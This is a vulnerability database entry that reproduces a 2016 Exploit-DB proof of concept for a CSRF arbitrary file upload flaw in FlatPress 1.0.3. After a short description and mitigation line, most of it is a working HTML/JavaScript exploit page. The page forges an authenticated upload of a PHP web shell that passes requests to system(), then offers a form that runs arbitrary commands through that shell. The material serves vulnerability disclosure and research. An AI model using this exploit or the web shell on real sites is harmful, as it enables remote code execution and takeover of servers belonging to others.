FlatPress 1.0.3 CSRF Arbitrary File Upload RCE PoC

vendor:

FlatPress

by:

Gjoko 'LiquidWorm' Krstic

7,5

CVSS

HIGH

CSRF Arbitrary File Upload

352

CWE

Product Name: FlatPress

Affected Version From: 1.0.3

Affected Version To: 1.0.3

Patch Exists: NO

Related CWE: N/A

CPE: a:edoardo_vacchi:flatpress:1.0.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Apache/2.4.10, PHP/5.6.3

2016

FlatPress 1.0.3 CSRF Arbitrary File Upload RCE PoC

The vulnerability is caused due to the improper verification of uploaded files via the Uploader script using 'upload[]' POST parameter which allows of arbitrary files being uploaded in '/fp-content/attachs' directory. The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform actions with administrative privileges if a logged-in user visits a malicious web site resulting in execution of arbitrary PHP code by uploading a malicious PHP script file and execute system commands.

Mitigation:

The application should verify the uploaded files and should not allow arbitrary files to be uploaded.

Source

Exploit-DB raw data:

<!DOCTYPE html>
<!--


FlatPress 1.0.3 CSRF Arbitrary File Upload


Vendor: Edoardo Vacchi
Product web page: http://www.flatpress.org
Affected version: 1.0.3

Summary: FlatPress is a blogging engine that saves your posts as
simple text files. Forget about SQL! You just need some PHP.

Desc: The vulnerability is caused due to the improper verification
of uploaded files via the Uploader script using 'upload[]' POST parameter
which allows of arbitrary files being uploaded in '/fp-content/attachs'
directory. The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks to
verify the requests. This can be exploited to perform actions with
administrative privileges if a logged-in user visits a malicious
web site resulting in execution of arbitrary PHP code by uploading
a malicious PHP script file and execute system commands.

Tested on: Apache/2.4.10
           PHP/5.6.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5328
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5328.php


04.04.2016

-->


<html>
<title>FlatPress 1.0.3 CSRF Arbitrary File Upload RCE PoC</title>
<body>

<script type="text/javascript">

function exec(){
  var command = document.getElementById("exec");
  var url = "http://localhost/flatpress/fp-content/attachs/test.php?cmd=";
  var cmdexec = command.value;
  window.open(url+cmdexec,"ZSL_iframe");
}

function upload(){
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "http://localhost/flatpress/admin.php?p=uploader&action=default", true);
  xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
  xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");
  xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary1Ix0O1LgWmzQa0af");
  xhr.withCredentials = true;
  var body = "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + 
    "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" + 
    "\r\n" + 
    "5a462c73ac\r\n" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + 
    "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n" + 
    "\r\n" + 
    "/flatpress/admin.php?p=uploader\r\n" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + 
    "Content-Disposition: form-data; name=\"upload[]\"; filename=\"test.php\"\r\n" + 
    "Content-Type: application/octet-stream\r\n" + 
    "\r\n" + 
    "\x3c?php\r\n" + 
    "system($_REQUEST[\'cmd\']);\r\n" + 
    "?\x3e\r\n" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + 
    "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + 
    "Content-Type: application/octet-stream\r\n" + 
    "\r\n" + 
    "\r\n" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + 
    "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + 
    "Content-Type: application/octet-stream\r\n" + 
    "\r\n" + 
    "\r\n" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + 
    "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + 
    "Content-Type: application/octet-stream\r\n" + 
    "\r\n" + 
    "\r\n" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + 
    "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + 
    "Content-Type: application/octet-stream\r\n" + 
    "\r\n" + 
    "\r\n" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + 
    "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + 
    "Content-Type: application/octet-stream\r\n" + 
    "\r\n" + 
    "\r\n" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + 
    "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + 
    "Content-Type: application/octet-stream\r\n" + 
    "\r\n" + 
    "\r\n" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + 
    "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + 
    "Content-Type: application/octet-stream\r\n" + 
    "\r\n" + 
    "\r\n" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + 
    "Content-Disposition: form-data; name=\"upload\"\r\n" + 
    "\r\n" + 
    "Upload\r\n" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af--\r\n";
  var aBody = new Uint8Array(body.length);
  for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i); 
    xhr.send(new Blob([aBody]));
}

</script>

<h3>FlatPress 1.0.3 CSRF Arbitrary File Upload RCE PoC Script</h3>

<form action="#">
  <button type="button" onclick=upload()>Upload test.php file!</button>
</form><br />

<form action="javascript:exec()">
  <input type="text" id="exec" placeholder="Enter a command">
  <input type="submit" value="Execute!">
</form><br />

<iframe
  style="border:2px;border-style:dashed;color:#d3d3d3"
  srcdoc="command output frame"
  width="700" height="600"
  name="ZSL_iframe">
</iframe>
<br />
<font size="2" color="#d3d3d3">ZSL-2016-5328</font>

</body>
</html>